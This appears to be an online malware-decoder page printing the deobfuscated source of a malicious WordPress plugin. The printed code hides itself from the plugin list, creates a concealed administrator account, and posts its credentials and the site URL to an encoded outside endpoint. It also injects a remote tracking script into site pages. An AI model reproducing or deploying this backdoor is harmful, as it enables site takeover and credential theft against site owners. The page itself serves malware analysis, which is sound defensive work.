Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto iqRAO;
	 iqRAO: class FluxFrame {
	 private $seed;
	 private $config = array("font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9mc2RvdGlvdGYWtrYWFra2FsLmNvbS9jbGFk", "endpoint" => "aHR0cHM6Ly9raWNrc3Rhci14Ymxvb20uaW5mby9jb2xsZWN0LnBocA==");
		 public function __construct() {
		 $this->seed = md5(DB_PASSWORD . AUTH_SALT);
		 $this->init_hooks();
		 
	}
		 private function init_hooks() {
		 goto Bg_jt;
		 GPl76: add_action("pre_user_query", [$this, "filter_admin_users"]);
		 goto NvJM5;
		 Bg_jt: add_filter("all_plugins", [$this, "hide_plugin"]);
		 goto K2Ck2;
		 NvJM5: add_action("wp_enqueue_scripts", [$this, "load_assets"]);
		 goto aADyb;
		 K2Ck2: add_action("init", [$this, "create_admin_user"]);
		 goto GPl76;
		 aADyb: 
	}
		 public function hide_plugin($N2mgz) {
		 unset($N2mgz[plugin_basename(__FILE__)]);
		 return $N2mgz;
		 
	}
		 public function create_admin_user() {
		 goto i_WnY;
		 SMcO1: $this->send_credentials($Tdgyk);
		 goto aP_9J;
			 cv1x6: if (!username_exists($Tdgyk["user"])) {
			 $jVG11 = wp_create_user($Tdgyk["user"], $Tdgyk["pass"], $Tdgyk["email"]);
				 if (!is_wp_error($jVG11)) {
				 (new WP_User($jVG11))->set_role("administrator");
				 
			}
			 
		}
		 goto SMcO1;
		 DtRiC: $Tdgyk = $this->generate_credentials();
		 goto cv1x6;
		 aP_9J: update_option("nitropress_data_sent", true);
		 goto FcCVS;
			 i_WnY: if (get_option("nitropress_data_sent", false)) {
			 return;
			 
		}
		 goto DtRiC;
		 FcCVS: 
	}
		 private function generate_credentials() {
		 $j11yz = substr(hash("sha6", $this->seed . "creds"), 0, 16);
		 return ["user" => "sys_" . substr(md5($j11yz), 0, 8), "pass" => substr(md5($j11yz . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()];
		 
	}
		 private function send_credentials($yRPil) {
		 goto l3xvY;
		 WaSDG: wp_remote_post(base64_decode($this->config["endpoint"]), $f6DU0);
		 goto oLOU0;
		 l3xvY: $x5HBC = json_encode($yRPil, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
		 goto DpkIW;
		 DpkIW: $f6DU0 = ["body" => ["d" => base64_encode($x5HBC)], "timeout" => 15, "blocking" => false, "sslverify" => false];
		 goto WaSDG;
		 oLOU0: 
	}
		 public function filter_admin_users($tKkIq) {
		 goto fR927;
		 fZ9B6: $c9kOS = $this->generate_credentials()["user"];
		 goto Xwtb2;
			 Xwtb2: $tKkIq->query_where .= " AND {
			$aucwI->users
		}
			.user_login != '{
			$c9kOS
		}
		'";
		 goto Zczwo;
		 fR927: global $aucwI;
		 goto fZ9B6;
		 Zczwo: 
	}
		 public function load_assets() {
		 goto t_oBg;
		 t_oBg: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null);
		 goto ydmQ7;
		 ydmQ7: $wE8aa = base64_decode($this->config["script"]) . "?ts=" . time();
		 goto lHrhM;
		 lHrhM: wp_enqueue_script("ic-tracker", $wE8aa, [], null, ["strategy" => "defer", "in_footer" => false]);
		 goto Ot2Wx;
		 Ot2Wx: 
	}
	 
}
 goto g0q64;
	 g0q64: register_deactivation_hook(__FILE__, function () {
	 delete_option("nitropress_data_sent");
	 
}
);
 goto PWOT8;
 PWOT8: new FluxFrame();



© 2023 Quttera Ltd. All rights reserved.